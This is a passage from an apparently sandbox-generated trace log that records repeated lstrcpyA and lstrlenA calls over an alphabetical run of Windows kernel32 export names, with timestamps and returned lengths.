lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0095.437] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0095.437] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0095.437] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0095.437] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0095.437] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0095.437] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0095.438] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0095.438] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0095.438] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0095.438] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0095.438] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0095.438] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0095.438] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0095.438] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0095.438] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0095.438] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0095.438] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0095.438] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0095.438] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0095.438] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0095.438] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0095.438] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0095.438] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0095.438] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0095.438] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0095.438] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0095.438] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0095.438] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0095.438] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0095.438] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0095.438] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0095.438] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0095.438] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0095.438] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0095.438] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0095.438] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0095.438] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0095.439] lstrcpyA (in: lpString1=0x39ff290, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0095.439] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0095.439] lstrcpyA (in: lpString1=0x39ff290, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0095.439] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0095.439] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0095.439] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0095.439] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0095.439] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0095.439] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0095.439] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0095.439] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0095.439] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0095.439] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0095.439] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0095.439] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0095.439] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0095.439] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0095.439] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0095.439] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0095.439] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0095.439] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0095.439] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0095.439] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0095.439] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0095.439] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0095.439] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0095.439] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0095.439] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0095.439] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0095.439] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0095.439] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0095.439] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0095.440] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0095.440] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0095.440] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0095.440] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0095.440] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0095.440] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0095.440] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0095.440] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0095.440] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0095.440] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0095.440] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0095.440] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0095.440] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0095.440] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0095.440] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0095.440] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0095.440] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0095.440] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0095.440] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0095.440] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0095.440] lstrcpyA (in: lpString1=0x39ff290, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0095.440] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0095.440] lstrcpyA (in: lpString1=0x39ff290, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0095.440] lstrlenA (lpString="BEEP") returned 4 [0095.440] lstrcpyA (in: lpString1=0x39ff290, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0095.440] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0095.440] lstrcpyA (in: lpString1=0x39ff290, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0095.440] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0095.440] lstrcpyA (in: lpString1=0x39ff290, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0095.440] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0095.440] lstrcpyA (in: lpString1=0x39ff290, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0095.440] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0095.441] lstrcpyA (in: lpString1=0x39ff290, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0095.441] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0095.441] lstrcpyA (in: lpString1=0x39ff290, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0095.441] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0095.441] lstrcpyA (in: lpString1=0x39ff290, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0095.441] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0095.441] lstrcpyA (in: lpString1=0x39ff290, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0095.441] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0095.441] lstrcpyA (in: lpString1=0x39ff290, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0095.441] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0095.441] lstrcpyA (in: lpString1=0x39ff290, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0095.441] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0095.441] lstrcpyA (in: lpString1=0x39ff290, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0095.441] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0095.441] lstrcpyA (in: lpString1=0x39ff290, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0095.441] lstrlenA (lpString="CANCELIO") returned 8 [0095.441] lstrcpyA (in: lpString1=0x39ff290, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0095.441] lstrlenA (lpString="CANCELIOEX") returned 10 [0095.441] lstrcpyA (in: lpString1=0x39ff290, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0095.441] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0095.441] lstrcpyA (in: lpString1=0x39ff290, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0095.441] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0095.441] lstrcpyA (in: lpString1=0x39ff290, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0095.441] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0095.441] lstrcpyA (in: lpString1=0x39ff290, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0095.441] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0095.441] lstrcpyA (in: lpString1=0x39ff290, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0095.441] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0095.441] lstrcpyA (in: lpString1=0x39ff290, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0095.441] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0095.441] lstrcpyA (in: lpString1=0x39ff290, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0095.442] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0095.442] lstrcpyA (in: lpString1=0x39ff290, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0095.442] lstrlenA (lpString="CHECKELEVATION") returned 14 [0095.442] lstrcpyA (in: lpString1=0x39ff290, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0095.442] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0095.442] lstrcpyA (in: lpString1=0x39ff290, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0095.442] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0095.442] lstrcpyA (in: lpString1=0x39ff290, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0095.442] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0095.442] lstrcpyA (in: lpString1=0x39ff290, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0095.442] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0095.442] lstrcpyA (in: lpString1=0x39ff290, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0095.442] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0095.442] lstrcpyA (in: lpString1=0x39ff290, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0095.442] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0095.442] lstrcpyA (in: lpString1=0x39ff290, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0095.442] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0095.442] lstrcpyA (in: lpString1=0x39ff290, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0095.442] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0095.442] lstrcpyA (in: lpString1=0x39ff290, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0095.442] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0095.442] lstrcpyA (in: lpString1=0x39ff290, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0095.442] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0095.442] lstrcpyA (in: lpString1=0x39ff290, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0095.442] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0095.442] lstrcpyA (in: lpString1=0x39ff290, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0095.442] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0095.442] lstrcpyA (in: lpString1=0x39ff290, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0095.442] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0095.442] lstrcpyA (in: lpString1=0x39ff290, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0095.442] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0095.442] lstrcpyA (in: lpString1=0x39ff290, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0095.443] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0095.443] lstrcpyA (in: lpString1=0x39ff290, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0095.443] lstrlenA (lpString="CLOSESTATE") returned 10 [0095.443] lstrcpyA (in: lpString1=0x39ff290, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0095.443] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0095.443] lstrcpyA (in: lpString1=0x39ff290, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0095.443] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0095.443] lstrcpyA (in: lpString1=0x39ff290, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0095.443] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0095.443] lstrcpyA (in: lpString1=0x39ff290, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0095.443] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0095.443] lstrcpyA (in: lpString1=0x39ff290, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0095.443] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0095.443] lstrcpyA (in: lpString1=0x39ff290, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0095.443] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0095.443] lstrcpyA (in: lpString1=0x39ff290, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0095.443] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0095.443] lstrcpyA (in: lpString1=0x39ff290, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0095.443] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0095.443] lstrcpyA (in: lpString1=0x39ff290, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0095.443] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0095.443] lstrcpyA (in: lpString1=0x39ff290, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0095.443] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0095.443] lstrcpyA (in: lpString1=0x39ff290, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0095.443] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0095.443] lstrcpyA (in: lpString1=0x39ff290, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0095.443] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0095.443] lstrcpyA (in: lpString1=0x39ff290, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0095.443] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0095.443] lstrcpyA (in: lpString1=0x39ff290, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0095.443] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0095.443] lstrcpyA (in: lpString1=0x39ff290, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0095.444] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0095.444] lstrcpyA (in: lpString1=0x39ff290, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0095.444] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0095.444] lstrcpyA (in: lpString1=0x39ff290, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0095.444] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0095.444] lstrcpyA (in: lpString1=0x39ff290, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0095.444] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0095.444] lstrcpyA (in: lpString1=0x39ff290, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0095.444] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0095.444] lstrcpyA (in: lpString1=0x39ff290, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0095.444] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0095.444] lstrcpyA (in: lpString1=0x39ff290, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0095.444] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0095.444] lstrcpyA (in: lpString1=0x39ff290, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0095.444] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0095.444] lstrcpyA (in: lpString1=0x39ff290, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0095.444] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0095.444] lstrcpyA (in: lpString1=0x39ff290, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0095.444] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0095.444] lstrcpyA (in: lpString1=0x39ff290, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0095.444] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0095.444] lstrcpyA (in: lpString1=0x39ff290, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0095.444] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0095.444] lstrcpyA (in: lpString1=0x39ff290, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0095.444] lstrlenA (lpString="COPYCONTEXT") returned 11 [0095.444] lstrcpyA (in: lpString1=0x39ff290, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0095.444] lstrlenA (lpString="COPYFILE2") returned 9 [0095.444] lstrcpyA (in: lpString1=0x39ff290, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0095.444] lstrlenA (lpString="COPYFILEA") returned 9 [0095.444] lstrcpyA (in: lpString1=0x39ff290, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0095.444] lstrlenA (lpString="COPYFILEEXA") returned 11 [0095.444] lstrcpyA (in: lpString1=0x39ff290, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0095.445] lstrlenA (lpString="COPYFILEEXW") returned 11 [0095.445] lstrcpyA (in: lpString1=0x39ff290, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0095.445] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0095.445] lstrcpyA (in: lpString1=0x39ff290, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0095.445] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0095.445] lstrcpyA (in: lpString1=0x39ff290, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0095.445] lstrlenA (lpString="COPYFILEW") returned 9 [0095.445] lstrcpyA (in: lpString1=0x39ff290, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0095.445] lstrlenA (lpString="COPYLZFILE") returned 10 [0095.445] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0095.445] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0095.445] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0095.445] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0095.445] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0095.445] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0095.445] lstrcpyA (in: 